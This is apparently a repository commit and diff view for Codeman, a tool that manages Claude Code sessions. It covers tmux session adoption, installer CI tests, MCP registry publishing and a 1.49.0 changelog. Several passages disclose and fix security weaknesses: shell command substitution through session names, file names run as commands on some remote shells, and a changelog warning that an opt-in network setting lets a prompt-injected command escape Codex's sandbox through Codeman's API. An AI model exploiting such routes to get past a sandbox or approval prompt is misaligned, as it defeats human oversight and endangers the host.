  before its build and down so the stack is never left stopped.
- Compose settings are read with ONE config --environment call, with its
  error reported, instead of three silent ones.

docker-compose.yaml and server.Dockerfile are untouched (their hashes gate
the in-app updater), and .env.example changes values and comments only.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-09 19:14:49 +02:00
d fei 09ccffd32e fix(adopt): never drive, write to, or answer for a session we did not start
Review items 3, 4 and the smaller ones on #510. An adopted session wraps a
process someone else launched, and its mode is whatever the probe saw — very
often `claude`. Every guard below is therefore its own `isAdopted` check rather
than a side effect of the external-CLI rule: the two ask different questions,
and merging them means the day the first loosens, Codeman starts acting on a
live conversation that is not ours.

- The boot workspace-hook sweep skipped only non-claude and `session.remote`.
  An adopted session keeps its connection on `adopt.remote` / `adopt.docker`,
  so a tab wrapping someone's in-container or over-ssh claude looked local and
  Codeman wrote `.claude/settings.local.json` into their repo on every restart.
- The workspace-trust auto-accept read the pane and pressed keys for 90s after
  `startInteractive()`. In an adopted pane that is someone else's dialog, and
  boot recovery re-opens the window on every restart.
- Auto-clear, auto-compact, auto-resume and the Ralph auto-enable in
  `POST /interactive` all drove the pane. Each now refuses with its own gate.
- The wrapper's `workingDir` was the foreign pane's cwd. That cwd can carry
  characters outside SAFE_PATH_PATTERN (`~/c++`, `Program Files (x86)`), which
  makes `createSession` throw so the tab never starts, and for a container or
  ssh candidate it is not a path on this host at all. It is now a neutral local
  `/tmp`, the same cwd `resolveMuxAttachCwd` already gives the pane; the foreign
  cwd stays on `adopt.paneCurrentPath` for display.
- The CLI signature table hardcoded ids, which CLAUDE.md forbids outside
  `stock.ts`, and had already gone stale: `omp` was missing, so a hand-started
  omp pane read as `shell`. It is now derived from each entry's
  `discovery.binaries` at call time, regex-escaped, longest name first. Stock
  entries only, since `SessionMode` is the closed union of stock ids.
- The descendant walk now passes `onTruncated`. A capped walk returns "nothing
  matched", which is byte-identical to the answer for a real shell.
- The home screen's wide scan is one-shot. Riding `docker exec` and a full ssh
  handshake per target, each with a ~12s timeout, on the 8s poll stacked
  connections on a slow host. Wide rows are kept apart and merged, because a
  local-only payload cannot contain them.
- Adoption failures report the server's own message. `_apiJson` folds a non-2xx
  to null, which collapsed "could not reach it just now" into "that session is
  gone" and reported a live remote session as deleted on every link flicker.

Tests: route tests for the refusals, the admin gate, the 404 re-resolve, the
one-wrapper-per-target reuse and the adopt round-trip; unit tests for the two
non-HTTP guards, the registry-derived signatures, truncation reporting and the
frontend's scan and error paths. Each guard was removed in turn to confirm its
own tests go red.
2026-09-30 23:29:54 -07:00
d fei aec4867821 fix(adopt): never create a session on someone else's tmux server
Review items 1 and 2 on #510.

`tmux new-session -t <name>` does not fail on a missing target. Measured on
3.3a: with only `work-prod` present it joined that session's group, with
nothing matching it opened a fresh shell, and on an empty socket it started a
tmux server that had none. The command re-runs whenever the wrapper pane is
respawned, and boot recovery does that for every dead pane, so after the owner
exits their session the next Codeman restart would put a new shell on their
default socket, in their container, or on their ssh host.

The invocation now begins with an exact-match `has-session -t '=<target>'` and
exits with a message when it misses. Measured: `has-session` does not start a
server on an empty socket, and the `=` prefix is what stops it matching
`work-prod` by prefix. `=` cannot go on `new-session -t` itself — tmux reads it
as part of the name and creates a group literally called `=work` — so it has to
be its own command.

The read-only `attach-session -r` fallback is gone rather than fixed. It hung
off `||`, so it fired on ANY `new-session` failure and not just an old tmux: a
leftover view from a previous adoption of the same Codeman session makes
`new-session` report `duplicate session` (measured), and the user then got a
read-only client showing the owner's status bar, with typed input dropped,
while the API reported success. Our own stale view is now removed first with a
`kill-session -t '=<our view>'` — the view name is derived from the Codeman
session id so it is provably ours, and measured, killing by name touches only
that session and leaves the owner's alone. Nothing to remove is the normal
case, so that step must not abort the chain.

`SessionAdopt.readOnly` goes with it. It was never set and never read, while
its comment claimed the UI surfaced it. Adoption now either attaches a writable
view or fails with a message; there is no third state.
2026-09-30 23:29:39 -07:00
d fei 245ee68c7c feat(adopt): adopt tmux sessions a human started, in all three locations
A tmux session someone opened by hand (`tmux new -s work`, then `claude`, or
just a shell) is invisible to Codeman: it lives on the default socket, not the
instance-scoped one Codeman owns. The home screen now lists those, and one
click wraps one in a Codeman tab. Local, in-container and over-ssh all work.

The shape is a WRAPPER session, not a direct attach: adoption creates an
ordinary `codeman-<8hex>` session on our own socket whose pane runs the
attach. That makes "detach, never kill the foreign session" structural rather
than a matter of discipline — `killSession` can only ever reach our own
wrapper, so no shape of caller bug reaches the foreign server. View reclamation
differs by location: local relies on client death and ssh on SIGHUP, but a
`docker exec` does NOT die with its client, so the in-container view has to be
reclaimed explicitly on kill or every adoption leaks one.

Measured facts, recorded in the code comments:

- A grouped session (`new-session -t`) buys `status off` and an independent
  current window. It does NOT buy an independent size. A window is one object
  with one size and a group shares it: on tmux 3.3a a bare attach and a grouped
  attach both shrink a 200x49 target to 80x23. Only `window-size largest` holds
  it, and that is a shared window option which survives our detach, so setting
  it would permanently rewrite the owner's configuration. Left unset.
- Session names come from other people, while the local launch chain ends in
  `bash -c` + `JSON.stringify`, which escapes neither `$` nor backticks — the
  outer shell performs command substitution before the inner single quotes are
  considered (verified: both substitutions inside the inner quotes ran). So
  session names and socket paths go through a character allowlist and are
  dropped at DISCOVERY, which means a non-conforming candidate never gets an
  id and the adopt endpoint fails closed when it re-resolves.
- `pane_current_command` is `node` for both claude and codex, so the mode can
  only come from a bounded process-tree walk of `pane_pid`'s argv; anything
  unrecognized is treated as a shell.

An adopted session has to say no to every assumption that Codeman owns the
pane: respawn, Ralph, the orchestrator and hook waits all refuse. The hook
check runs BEFORE the mode check, because adoption asks who launched the
process and no mode can vouch for a workspace Codeman never touched. `paneExit`
is forced to unknown, since the pane runs `tmux attach` rather than the agent
and its exiting with 0 only means the connection ended. Reboot restore refuses
too: all Codeman ever had was an attach command, and replaying it would build a
connection to a foreign session a reboot has almost certainly taken with it,
while presenting whatever it lands on as a session we restored.

Adoption is admin-only under multi-user mode: adopting someone's shell is
equivalent to arbitrary host execution. Discovery is read-only, never creates a
session, and degrades to an empty list whenever a probe cannot reach its target.
2026-09-29 18:01:47 -07:00
236 changed files with 44845 additions and 983 deletions

No files matched your search

+1 -1
View File
@@ -10,7 +10,7 @@
"name": "codeman",
"source": "./plugins/codeman",
"description": "Drive Codeman from inside a Claude Code session: spawn worker sessions, prompt them, wait for them, read their answers, clean up. Acts inside a Codeman-managed session; outside one it only reads saved Codex conversations offline.",
"version": "1.48.0",
"version": "1.49.0",
"author": {
"name": "Ark0N",
"url": "https://github.com/Ark0N"
+84
View File
@@ -80,6 +80,35 @@ jobs:
CLI_DETECT_DONE=""; detect_all_clis
offer_ai_cli_install >/dev/null 2>&1
echo "bash $BASH_VERSION: skipping the AI CLI install menu continues"
# --ai-cli answers the same menu with no terminal: `none` carries on, and a
# name runs that one entry (bash 3.2 cannot expand an empty offer list under
# set -u, which is the guard the loop over it has to get right).
has_tty() { return 1; }
AI_CLI_CHOICE=none
offer_ai_cli_install >/dev/null 2>&1
AI_CLI_CHOICE=codex
k=0; while [[ $k -lt ${#CLI_INSTALL_CMD_TRUSTED[@]} ]]; do
CLI_INSTALL_CMD_TRUSTED[$k]=""
k=$((k + 1))
done
offer_ai_cli_install >/dev/null 2>&1
echo "bash $BASH_VERSION: --ai-cli answers the menu, also with nothing to offer"
# What the desktop app runs: preflight on stdout, and only JSON there. These
# child runs must not inherit CODEMAN_INSTALL_SH_LIB, or they stop at the
# sourcing guard and print nothing. Each check ends in `|| exit 1`, because
# bash 3.2 does not let a false [[ ]] trip set -e.
out=$(env -u CODEMAN_INSTALL_SH_LIB bash /w/install.sh preflight --no-admin)
[[ "$out" == "{\"schema\":1,"* && "$out" == *"]}" ]] || { echo "preflight printed: $out"; exit 1; }
json_string "a\"b\\c" >/tmp/json-out
[[ "$(cat /tmp/json-out)" == "\"a\\\"b\\\\c\"" ]] || { echo "json_string printed: $(cat /tmp/json-out)"; exit 1; }
echo "bash $BASH_VERSION: preflight prints JSON"
# How the desktop app adds an agent: a real run of the subcommand, which stops
# on the missing npm before it could install anything.
if out=$(env -u CODEMAN_INSTALL_SH_LIB bash /w/install.sh agent codex --no-admin --progress 2>&1); then
echo "agent ran with no npm to run"; exit 1
fi
[[ "$out" == *"@@codeman phase agent"* && "$out" != *"@@codeman phase done"* ]] || { echo "agent printed: $out"; exit 1; }
echo "bash $BASH_VERSION: agent stops without saying done"
'
# Issue #382: the dsh identity probe builds an OPTIONAL `timeout` prefix as an
# array, and on stock macOS there is no `timeout`, so the array is empty and the
@@ -151,6 +180,61 @@ jobs:
RECONFIGURE=0; parse_flags --port 4001; [[ "$RECONFIGURE" == "1" ]]
echo "bash $BASH_VERSION: question phase (flags, launch default, occupied :443, rename opt-in, kept password, start line) ok"
'
# No-admin route: the helpers that decide what gets downloaded and whether it is
# trusted (the Node.js checksum pick, the tmux digest table, the verify step), the
# stop-before-download check, and an archive install plus its replacement, all
# in bash 3.2. This image is Alpine, so it is also the one place the musl branch
# runs for real: a machine the route cannot serve must stop BEFORE a download.
docker run --rm -v "$PWD":/w -w /w -e CODEMAN_INSTALL_SH_LIB=1 -e HOME=/tmp/h bash:3.2 bash -c '
set -euo pipefail
mkdir -p /tmp/h /tmp/src/Codeman-1/src
. /w/install.sh
sha=$(printf "%064d" 7)
sums=$(printf "%s node-v22.1.0-linux-x64.tar.gz\nnothex node-v22.1.0-linux-arm64.tar.gz\n" "$sha")
[[ "$(printf "%s\n" "$sums" | pick_node_tarball linux-x64)" == "$sha node-v22.1.0-linux-x64.tar.gz" ]]
if printf "%s\n" "$sums" | pick_node_tarball linux-arm64 >/dev/null; then
echo "accepted a checksum that is not 64 hex digits" >&2; exit 1
fi
for p in linux-x86_64 linux-arm64 macos-arm64 macos-x86_64; do
d=$(tmux_build_sha256 "$p"); [[ ${#d} -eq 64 ]]
done
printf codeman > /tmp/f; good=$(sha256_file /tmp/f); [[ ${#good} -eq 64 ]]
verify_sha256 /tmp/f "$good"
if verify_sha256 /tmp/f "${good%?}x" || verify_sha256 /tmp/f ""; then
echo "accepted a wrong or empty checksum" >&2; exit 1
fi
is_musl_libc
NO_ADMIN=1; NONINTERACTIVE=1
download() { echo DOWNLOADED; }; download_to_stdout() { echo DOWNLOADED; }
check_node() { return 1; }; check_tmux() { return 1; }; check_git() { return 1; }
check_build_tools() { return 0; }
if out=$( (ask_dependencies_no_admin linux) 2>&1 ); then
echo "did not stop on a musl system" >&2; exit 1
fi
case "$out" in
*DOWNLOADED*) echo "downloaded before stopping: $out" >&2; exit 1 ;;
*musl*) ;;
*) echo "stopped for the wrong reason: $out" >&2; exit 1 ;;
esac
# An archive install, then its replacement beside it (busybox tar, bash 3.2).
printf "{ \"version\": \"1.0.0\" }\n" > /tmp/src/Codeman-1/package.json
tar -czf /tmp/one.tar.gz -C /tmp/src Codeman-1
printf "{ \"version\": \"2.0.0\" }\n" > /tmp/src/Codeman-1/package.json
tar -czf /tmp/two.tar.gz -C /tmp/src Codeman-1
INSTALL_DIR=/tmp/h/app; LOG_FILE=/dev/null
download() { cp "${1#file://}" "$2"; }; run_step() { shift; "$@"; }
CODEMAN_TARBALL_URL=file:///tmp/one.tar.gz; install_or_update_repo >/dev/null 2>&1; finish_source_swap
[[ -f "$INSTALL_DIR/$SOURCE_MARKER" && -z "$SOURCE_STAGING" ]]
grep -q 1.0.0 "$INSTALL_DIR/package.json"
touch "$INSTALL_DIR/from-the-old-build"
CODEMAN_TARBALL_URL=file:///tmp/two.tar.gz; install_or_update_repo >/dev/null 2>&1
[[ "$SOURCE_STAGING" == "$INSTALL_DIR.new" ]] && grep -q 1.0.0 "$INSTALL_DIR/package.json"
finish_source_swap
grep -q 2.0.0 "$INSTALL_DIR/package.json"
[[ ! -e "$INSTALL_DIR/from-the-old-build" && ! -e "$INSTALL_DIR.new" && ! -e "$INSTALL_DIR.old" ]]
NO_ADMIN=""; resolve_admin_mode; [[ "$NO_ADMIN" == "0" ]]
echo "bash $BASH_VERSION: no-admin route (checksums, stop before download, archive install and swap) ok"
'
- name: CLI catalogue artifacts are in sync with stock.ts
run: npm run generate:cli-catalog -- --check
+85
View File
@@ -0,0 +1,85 @@
name: Publish to the MCP registry
# The official MCP registry does not follow npm, so every version is published to it.
# Release calls this after npm took a release. To publish the version on master by hand,
# after a failed run for example: gh workflow run publish-mcp.yml
#
# No secret and no browser login: the registry takes this repository's GitHub Actions OIDC
# token as proof of the io.github.Ark0N/ namespace. That id-token right is why this job
# runs nothing from the repository: it reads server.json and runs one pinned binary.
on:
workflow_call:
workflow_dispatch:
permissions:
contents: read
id-token: write
env:
# Bump both together, the digest from the release's asset. Never releases/latest.
MCP_PUBLISHER_VERSION: v1.8.7
MCP_PUBLISHER_SHA256: 00b21004149a4ce66f0782508ae4a2bce67d1bea395a8da0bd8028159fb59579
REGISTRY_VERSIONS_URL: https://registry.modelcontextprotocol.io/v0/servers/io.github.Ark0N%2Fcodeman/versions
jobs:
publish:
name: Publish
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- name: Checkout repo
uses: actions/checkout@v6
with:
persist-credentials: false
# Also what ends a run for a release that only moved xterm-zerolag-input.
- name: Skip a version the registry already has
id: check
run: |
VERSION=$(jq -r .version config/mcp-registry/server.json)
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
STATUS=$(curl -sS -o /dev/null -w '%{http_code}' "$REGISTRY_VERSIONS_URL/$VERSION")
case "$STATUS" in
200) echo "::notice::$VERSION is already in the MCP registry" ;;
404) echo "needed=true" >> "$GITHUB_OUTPUT" ;;
*) echo "::error::The MCP registry answered $STATUS for $VERSION"; exit 1 ;;
esac
# The registry refuses a version npm does not serve yet, and reads mcpName from it.
- name: Wait until npm serves this version
if: steps.check.outputs.needed == 'true'
env:
VERSION: ${{ steps.check.outputs.version }}
run: |
EXPECTED=$(jq -r .name config/mcp-registry/server.json)
for _ in $(seq 1 60); do
FOUND=$(npm view "aicodeman@$VERSION" mcpName 2>/dev/null || true)
[ "$FOUND" = "$EXPECTED" ] && exit 0
sleep 20
done
echo "::error::npm did not serve aicodeman@$VERSION with mcpName $EXPECTED within 20 minutes"
exit 1
- name: Download mcp-publisher
if: steps.check.outputs.needed == 'true'
run: |
ARCHIVE="$RUNNER_TEMP/mcp-publisher.tar.gz"
curl -fsSL -o "$ARCHIVE" "https://github.com/modelcontextprotocol/registry/releases/download/$MCP_PUBLISHER_VERSION/mcp-publisher_linux_amd64.tar.gz"
echo "$MCP_PUBLISHER_SHA256 $ARCHIVE" | sha256sum -c -
tar xzf "$ARCHIVE" -C "$RUNNER_TEMP" mcp-publisher
- name: Publish
if: steps.check.outputs.needed == 'true'
working-directory: config/mcp-registry
run: |
"$RUNNER_TEMP/mcp-publisher" login github-oidc
"$RUNNER_TEMP/mcp-publisher" publish
- name: Confirm the registry lists it as latest
if: steps.check.outputs.needed == 'true'
env:
VERSION: ${{ steps.check.outputs.version }}
run: |
curl -fsS --retry 4 --retry-all-errors "$REGISTRY_VERSIONS_URL/$VERSION" \
| jq -e '._meta["io.modelcontextprotocol.registry/official"].isLatest == true'
+29 -2
View File
@@ -14,6 +14,8 @@ jobs:
permissions:
contents: write
pull-requests: write
outputs:
published: ${{ steps.changesets.outputs.published }}
steps:
- name: Checkout repo
uses: actions/checkout@v6
@@ -60,15 +62,40 @@ jobs:
# 1.9.4 lost it to xterm-zerolag-input@0.1.7 by two seconds. All package
# releases already exist by the time this step runs, so setting it here
# is deterministic.
#
# The title and body are the page people land on from the update toast.
# changesets copied the body from CHANGELOG.md as one long bullet, so it is
# reshaped here (scripts/lib/release-notes.mjs). npm has already published by
# now, so a failure in that must not stop the retag below: without the body
# field the release keeps the text changesets wrote.
RELEASE_ID=$(gh release view "$OLD_TAG" --json databaseId -q .databaseId 2>/dev/null || true)
if [ -n "$RELEASE_ID" ]; then
NOTES_FILE="$RUNNER_TEMP/release-notes.md"
BODY_ARGS=()
if node scripts/generate-release-notes.mjs "$VERSION" > "$NOTES_FILE"; then
BODY_ARGS=(-F "body=@$NOTES_FILE")
else
echo "::warning::Keeping the changesets release notes for $VERSION"
fi
gh api -X PATCH "repos/${{ github.repository }}/releases/${RELEASE_ID}" \
-f tag_name="$NEW_TAG" \
-f name="$NEW_TAG" \
-f make_latest=true
-f name="Codeman ${VERSION}" \
-f make_latest=true \
"${BODY_ARGS[@]}"
fi
# Retag
git tag "$NEW_TAG" "$OLD_TAG" 2>/dev/null || true
git tag -d "$OLD_TAG" 2>/dev/null || true
git push origin "$NEW_TAG" ":refs/tags/$OLD_TAG" 2>/dev/null || true
# Its own job: this one alone holds id-token, and a registry failure shows as itself
# without touching the npm publish or the tag above.
mcp-registry:
name: MCP registry
needs: release
if: needs.release.outputs.published == 'true'
permissions:
contents: read
id-token: write
uses: ./.github/workflows/publish-mcp.yml
+41
View File
@@ -1,5 +1,46 @@
# aicodeman
## 1.49.0
### Minor Changes
- 12024cc: ### Thanks
- @dignfei for letting Codeman open the tmux sessions you started by hand, on this machine, in a container or over ssh (#510).
- @Randalix for the remote launch fix (#770) and the pi wheel fix (#771), both from their own reports (#760, #758), and for Edit history on remote sessions (#766).
- @opticon454 for the New folder button in Create New's picker (#761) and for Clone Repo's parent folder (#774).
- @shenlvkang-collab for a Files panel scan that no longer lets one folder use up the limit (#614).
- @irisitymichaelgrundberg for reporting that the Files panel stayed on the main checkout (#765), and for catching a `.git` open race in the fix.
- @maminmsh for reporting right-to-left text in the Response Viewer (#715).
**Open the tmux sessions you started yourself (#510).** Tmux sessions you started by hand now show up on the home screen under Opened outside Codeman, and one click opens one as a tab, on this machine, in a container or over ssh. Closing the tab only detaches, so the session keeps running. Codeman did not start it, so respawn, Ralph, auto-clear, one-shot prompts and prompt uploads are refused for it, and when the session ends the tab lets go of it. Adoption is admin-only in multi-user mode. The scan runs only while the home screen is in a visible tab. Close adopted tabs before going back to 1.48.0 or older: an older server does not know a tab is adopted and drops all of those guards.
**Install without administrator rights (#768).** The installer can now finish on an account without admin rights: Node.js and tmux go in your home folder, the source comes as an archive when no working git is available, and `--no-admin` forces this route. An install without git updates by re-running the install line, and Linux still needs make, a C++ compiler and python3.
**Docker Compose starts in two commands (#573).** `bash docker/Start-Codeman.sh` asks three questions, writes `docker/.env`, starts the container and prints the URL once Codeman answers. It now waits for the server and exits 1 if it does not come up (`--no-wait` skips that). Behaviour change: `Start-Codeman.sh` and `Update-Codeman.sh` refuse to run while `CODEMAN_PASSWORD` is still the example value `changeme`, so a deployment on that value has to set a real password before its next restart.
**Codex sessions can drive other sessions (#753).** A new opt-in setting, **Allow network access** (App Settings, Codex, off by default), starts new local Codex sessions with `sandbox_workspace_write.network_access=true`, so the Codeman skill's calls reach this server. It has a real cost: commands in Codex's sandbox can then call Codeman's API, which can start a session outside the sandbox with no approval prompt, even with a password set, so the sandbox no longer contains a prompt-injected command. It is forced off without the privileged-commands grant in multi-user mode, scheduled jobs do not use it, and it does not change Codex's sandbox mode. A local Codex 0.162 or later also starts with `--no-daemon`, so a shared background server no longer stops a launch on an "incompatible feature settings" dialog, and commands inside Codex see their own session's `CODEMAN_*` variables. Version gates in the CLI registry are now measured against each CLI's own version.
**Persian, Arabic and Hebrew read right to left (#715).** In the Response Viewer and the File Viewer's markdown view, each paragraph, heading, list, quote and table takes its direction from its own first letter, so a right-to-left answer lines up on the right while an English paragraph beside it stays left to right. Code blocks, inline code and the file paths the viewer links on its own stay left to right and no longer decide a sentence's direction. The phone's Compose dialog does the same. The terminal pane is unchanged: xterm.js has no right-to-left support yet (xtermjs/xterm.js#701).
**Edit history for remote sessions (#766).** The Edit history panel now works for remote (SSH) Claude sessions. It reads transcripts over ssh only while the panel is open, keeps the diffs in the same private local store and never wakes a sleeping host. An unreachable host shows the saved edits with the ssh error, and images preview on click rather than as thumbnails.
**The Files panel follows the agent into a git worktree (#772, #765).** When an agent moves into a worktree part way through a session, the panel lists that worktree, follows the agent back out and shows a strip that names it, with a button to switch to the session's folder. Only a worktree inside the session's folder is followed, and file access stays confined to that folder.
**One big folder no longer hides the rest (#614).** The Files panel and its search now walk folders in a per-directory round-robin, so one large folder no longer uses up the 5,000-entry limit, and search results come back shallow-first. One listing stops opening folders after reading 250,000 entries. A folder the scan stopped short of, or one that did not answer, no longer looks empty: `GET /api/sessions/:id/files` marks it `incomplete: true` (additive), sets `truncated`, and the panel shows a dim "Not fully scanned" row.
**Fixes.**
- **Remote sessions start when the remote home differs (#770, #760).** New sessions no longer die with `tmux: command not found` (exit 127). The launch line reached the local shell in double quotes, so `$HOME` and `$PATH` expanded on the Codeman host before ssh ran. Launches now reach the far end verbatim, and a remote session starts in the remote user's own shell. Behaviour changes: in a per-host `commands.*` override, `$` now expands on the far end; a bare `$VAR` in a Docker `extraCreateArgs`/`extraExecArgs` value or a remote host's `extraSshOptions` is passed literally, so write the value out. `commands.omp` and `commands.copilot` are accepted now, like every other mode. A csh or tcsh login shell starts without `-i -l`, which tcsh refuses, so it reads `.tcshrc` and not `.login`.
- **Remote file reads work on fish, csh and tcsh hosts.** The Files panel, previews and Edit history failed on those login shells, because their reads were parsed by the login shell before `sh` saw them. Every remote file read now crosses it as one word of text. This also ends a case where a file name holding shell syntax ran as a command on those hosts, as the same ssh user the agent runs as.
- **The pi mouse wheel survives a tab switch or reload (#771, #758).** pi now takes the same path as Copilot: the server strips the mouse enables and remembers them, and the wheel is forwarded from that record, on the primary pane, tiles, split Pane B and phones. A drag in fullscreen pi now selects text in the browser instead of using pi's own selection, and with Wheel Scrolls Local History on the wheel does nothing there. A pi in `tuiMode: regular` is unaffected.
- **Clone Repo's custom folder is a parent now (#774).** The repository lands in `<folder>/<case name>`, as it does with Create New, and the preview shows the joined path. Behaviour change: 1.48.0 cloned straight into the folder you picked, so a name the case-name rule refuses, such as `/mnt/my.repo`, can no longer be reached from the tab. `path` on `POST /api/cases/clone` stays the exact target for scripts and mount points.
- **New folder in the Create New and Clone Repo pickers (#761).** You can make the parent folder without leaving the dialog. Asking for one directly in the cases folder is refused, and the refusal points at the right tab.
- **Linked cases hold up under concurrent writes (#764).** Every write to `linked-cases.json` is serialized, so two requests can no longer claim one name or lose each other's entry, and a damaged file is refused with a clear error instead of being overwritten, which used to unlink every other case. A local case's rename racing a new link is not covered.
- **A session keeps its own home and account variables (#767).** A session that set `CLAUDE_CONFIG_DIR`, `DSH_HOME` or the like keeps it when a custom endpoint selection is cleared or switched, also after a Codeman restart. With its own `CLAUDE_CONFIG_DIR` it keeps both its conversation and its account.
**Fixes applied while landing.** An adopted session never falls back to a direct terminal when its wrapper cannot start, which would have run a local agent in `/tmp` (#510). Output from a foreign pane, container or ssh host is parsed in linear time, so it cannot stall the server (#510). A `.git` swapped for a FIFO or a symlink is refused at open (#772). A folder listing that does not answer is flagged instead of shown as empty (#614).
**Docs and tests.** Adoption, the no-admin install, the Compose first run and the new remote shell rows in the guides, wiki and READMEs, new zh-CN strings for the Allow network access warning, and the Playwright bump to 1.64.1 with the browser suite unpinned.
## 1.48.0
### Minor Changes
+22 -15
View File
@@ -52,7 +52,7 @@ Uses [Semantic Versioning](https://semver.org/) (`MAJOR.MINOR.PATCH`) via `@chan
When the user says **COM** (`COM` = patch, `COM minor`, `COM major`): **Read [`docs/releasing.md`](docs/releasing.md) and follow every step in order**; never improvise a release from memory. It covers the changeset, `npm run version-packages`, the `**Version**` line below, the branch check and explicit-path commit, deploy, the getcodeman.com badge, watching BOTH CI workflows, the MCP registry publish, and the Discussions announcement.
**Version**: 1.48.0 (must match `package.json`)
**Version**: 1.49.0 (must match `package.json`)
## Project Overview
@@ -103,7 +103,8 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
- **Default bind is loopback-only; non-loopback without a password starts but warns** — the server defaults to `--host 127.0.0.1`. Binding non-loopback (`--host`/`-H`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` starts anyway but prints a loud warning; `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` acknowledges it. ⚠️ The production systemd unit passes no `--host`, so prod binds **localhost only**: reach it via `tailscale serve`/tunnel to `127.0.0.1`. A loopback bind is reachable through a same-host tunnel but NOT by a browser hitting the box's LAN IP. `install.sh` is separate and prompts for the binding (defaulting to LAN + a password), and preserves the existing binding on re-runs. → [architecture-invariants#default-bind-and-the-non-loopback-warning-path](docs/architecture-invariants.md#default-bind-and-the-non-loopback-warning-path), `docs/security-architecture.md`
- **Instance isolation / multi-instance attach danger** — the data dir (`~/.codeman`) and tmux socket (`tmux -L codeman`) are PROCESS-WIDE and shared by every Codeman on the machine, derived from `CODEMAN_INSTANCE` via `src/config/instance.ts`. ⚠️ A 2nd instance on the SAME socket **discovers and attaches PTYs to the first instance's live sessions**, resizing and mutating them. `$HOME` isolation is NOT enough because tmux is system-global. To run two instances, give each a distinct `CODEMAN_INSTANCE` (scopes dir + socket together), or set `CODEMAN_TMUX_SOCKET` + `CODEMAN_DATA_DIR` individually; `scripts/run-beta.sh` does this for a beta alongside prod. **Any new `~/.codeman/...` path MUST go through `dataPath()`**, never `join(homedir(), '.codeman', …)`, and **any new `tmux -L` caller through `resolveTmuxSocketName()`** (both in `config/instance.ts`): the TUI shells out to tmux from a second process, and a hardcoded `codeman` there would point a beta instance at prod's panes. → [architecture-invariants#instance-isolation-and-the-multi-instance-attach-danger](docs/architecture-invariants.md#instance-isolation-and-the-multi-instance-attach-danger)
- **The prefix table on Codeman's socket holds only `<prefix> send-prefix`** — browser tabs are tmux attach clients, and tmux's stock bindings let Ctrl+B `)`/`s` move a tab onto another session. `createSession` resets the table, and `reconcileSessions()` at boot for sessions that survived an upgrade (`src/tmux-prefix-table.ts`); `root` and `C-<letter> detach-client` (the TUI attach's way out) are left alone, so F1 and that alias reach browser tabs for the length of an attach. Alt+1..9 are `if-shell` bindings that `switch-client` only for the TUI's own client (`client_tty` plus a one-shot pid hook), so a browser tab's Esc-then-digit does not move it. Docker and owned-remote nested servers get the same reduction (`C-q send-prefix` only) in their create chain. ⚠️ So `Ctrl+B d` does not exist there: anything attaching a user's terminal claims its own detach key (F1 in `root`, as `codeman tui` and `scripts/tmux-manager.sh` do). → [architecture-invariants#the-prefix-table-on-codemans-socket-holds-only-send-prefix](docs/architecture-invariants.md#the-prefix-table-on-codemans-socket-holds-only-send-prefix)
- **node-pty's macOS `spawn-helper` ships without `+x`** (issues #6, #204): `node-pty@1.1.0` publishes `prebuilds/darwin-<arch>/spawn-helper` as mode 0644, and macOS launches every PTY through it, so a stock macOS install fails every session start with `Error: posix_spawnp failed.` **Linux can never reproduce it**: `spawn-helper` is an `OS=="mac"` gyp target and node-pty ships no Linux prebuild, so node-gyp always emits an executable helper there. ⚠️ The flip side of that: since Linux has no prebuild, `npm install` **needs a C/C++ toolchain there** (`make`, `g++`, `python3`), so `install.sh` checks for and installs one alongside Node/tmux/git — a stock Ubuntu 24 server has none and died inside node-gyp with `not found: make`. Do not drop that step. ⚠️ Look in **`prebuilds/<platform>-<arch>/`**, not just `build/Release/`, which does not exist on macOS. Repair is a chmod, never a mandatory rebuild (that would require Xcode CLI tools and deletes `prebuilds/` before compiling): `npm run fix:node-pty` chmods every helper then proves it by really opening a PTY. `spawnPtyWithHelperRepair()` (`utils/node-pty-repair.ts`) wraps every `pty.spawn()` in `session.ts` and self-heals a broken install on the first failure. → [architecture-invariants#node-ptys-macos-spawn-helper-must-be-executable](docs/architecture-invariants.md#node-ptys-macos-spawn-helper-must-be-executable)
- **node-pty's macOS `spawn-helper` ships without `+x`** (issues #6, #204): `node-pty@1.1.0` publishes `prebuilds/darwin-<arch>/spawn-helper` as mode 0644, and macOS launches every PTY through it, so a stock macOS install fails every session start with `Error: posix_spawnp failed.` **Linux can never reproduce it**: `spawn-helper` is an `OS=="mac"` gyp target and node-pty ships no Linux prebuild, so node-gyp always emits an executable helper there. ⚠️ The flip side of that: since Linux has no prebuild, `npm install` **needs a C/C++ toolchain there** (`make`, `g++`, `python3`), so `install.sh` checks for and installs one alongside Node/tmux/git — a stock Ubuntu 24 server has none and died inside node-gyp with `not found: make`. Do not drop that step. (The installer's no-admin route cannot install one, so there it stops before downloading anything and names what is missing.) ⚠️ Look in **`prebuilds/<platform>-<arch>/`**, not just `build/Release/`, which does not exist on macOS. Repair is a chmod, never a mandatory rebuild (that would require Xcode CLI tools and deletes `prebuilds/` before compiling): `npm run fix:node-pty` chmods every helper then proves it by really opening a PTY. `spawnPtyWithHelperRepair()` (`utils/node-pty-repair.ts`) wraps every `pty.spawn()` in `session.ts` and self-heals a broken install on the first failure. → [architecture-invariants#node-ptys-macos-spawn-helper-must-be-executable](docs/architecture-invariants.md#node-ptys-macos-spawn-helper-must-be-executable)
- **Never start `git` without `gitSpawnAllowed()`** (`utils/git-availability.ts`): on a Mac without the developer tools `/usr/bin/git` is Apple's placeholder, and running it, even as `git --version`, opens macOS's "install the command line developer tools" window. The server did that on the first page load after a no-admin install (`isGitAvailable()` from `renderIndexHtml`) and would have again at every start. The gate resolves `git` on the PATH itself and, for the placeholder, proves the tools first with `xcode-select -p`, which never opens a window; a refusal is answered as ENOENT (`gitMissingError()`), which every caller already reads as "git is not installed". `test/git-spawn-gate.test.ts` pins the list of spawn sites, so a new one fails until it is gated. `install.sh` follows the same rule for the same reason.
